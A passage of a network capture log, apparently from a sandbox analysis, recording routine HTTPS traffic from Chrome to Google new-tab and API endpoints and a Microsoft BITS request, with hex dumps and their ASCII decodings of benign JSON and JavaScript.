2024-11-01 02:45:16 UTC	1378	IN	Data Raw: 36 64 65 0d 0a 62 6c 56 49 52 6e 5a 79 54 55 52 77 4f 48 46 34 4f 48 5a 79 53 6c 70 6a 5a 32 73 33 65 55 74 71 63 6d 31 77 52 45 4a 46 51 30 4d 30 61 56 56 6a 52 46 6c 6a 57 54 67 30 5a 30 70 32 64 30 4a 34 64 43 74 6b 59 58 4a 55 62 6b 68 46 54 33 4a 56 4e 55 56 36 4d 44 6c 4c 55 45 55 79 4d 30 39 44 54 6e 52 4f 56 47 4d 78 63 6e 4d 79 51 58 64 4c 64 57 4a 68 63 47 45 78 5a 55 49 76 4e 55 74 78 53 32 70 78 61 30 39 5a 65 45 74 76 53 45 6f 34 63 48 64 4e 5a 6a 68 42 5a 47 70 35 63 46 52 79 59 55 6c 4e 5a 55 68 36 63 54 64 4b 59 55 74 7a 4d 44 46 57 54 33 4e 57 52 46 4d 31 61 6a 46 52 4d 6b 70 73 62 44 64 61 55 6d 6c 76 64 55 39 45 59 32 5a 71 64 46 6c 46 4b 31 55 30 57 45 34 72 4d 45 5a 79 5a 48 4e 43 55 32 6c 56 61 57 4e 52 53 6d 31 47 52 55 52 35 4c 30 Data Ascii: 6deblVIRnZyTURwOHF4OHZySlpjZ2s3eUtqcm1wREJFQ0M0aVVjRFljWTg0Z0p2d0J4dCtkYXJUbkhFT3JVNUV6MDlLUEUyM09DTnROVGMxcnMyQXdLdWJhcGExZUIvNUtxS2pxa09ZeEtvSEo4cHdNZjhBZGp5cFRyYUlNZUh6cTdKYUtzMDFWT3NWRFM1ajFRMkpsbDdaUmlvdU9EY2ZqdFlFK1U0WE4rMEZyZHNCU2lVaWNRSm1GRUR5L0
2024-11-01 02:45:16 UTC	387	IN	Data Raw: 30 52 52 65 6c 6c 51 55 56 4e 4d 63 32 70 51 55 48 4a 33 65 55 35 36 4f 56 42 76 55 31 45 31 57 47 46 46 5a 31 42 36 61 7a 64 30 55 56 46 42 65 6b 4d 77 54 55 6c 42 63 41 51 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 Data Ascii: 0RRellQUVNMc2pQUHJ3eU56OVBvU1E1WGFFZ1B6azd0UVFBekMwTUlBcAQ\u003d","zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,3
2024-11-01 02:45:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	172.217.18.4	443	7212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:16 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 02:45:17 UTC	1042	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 01 Nov 2024 02:45:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 02:45:17 UTC	336	IN	Data Raw: 32 34 64 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 24db)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-01 02:45:17 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-01 02:45:17 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-11-01 02:45:17 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-11-01 02:45:17 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-11-01 02:45:17 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 38 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700288,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-11-01 02:45:17 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-11-01 02:45:17 UTC	839	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u00
2024-11-01 02:45:17 UTC	337	IN	Data Raw: 31 34 61 0d 0a 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 7a 65 2c 44 65 2c 76 65 3b 5f 2e 78 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 76 65 28 5f 2e 77 65 28 61 29 29 3a 74 65 7c 7c 28 74 65 5c 75 30 30 33 64 6e 65 77 20 76 65 29 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 Data Ascii: 14a\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var ze,De,ve;_.xe\u003dfunction(a){return a?new ve(_.we(a)):te\|\|(te\u003dnew ve)};_.ye\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b)
2024-11-01 02:45:17 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 41 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 Data Ascii: 8000(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.Ae\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	172.217.18.4	443	7212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:16 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 02:45:17 UTC	957	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 01 Nov 2024 02:45:17 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 02:45:17 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-01 02:45:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-01 02:45:21 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=136822 Date: Fri, 01 Nov 2024 02:45:20 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	142.250.74.206	443	7212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:20 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 02:45:21 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 31 Oct 2024 14:25:53 GMT Expires: Fri, 31 Oct 2025 14:25:53 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 44368 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-01 02:45:21 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-01 02:45:21 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
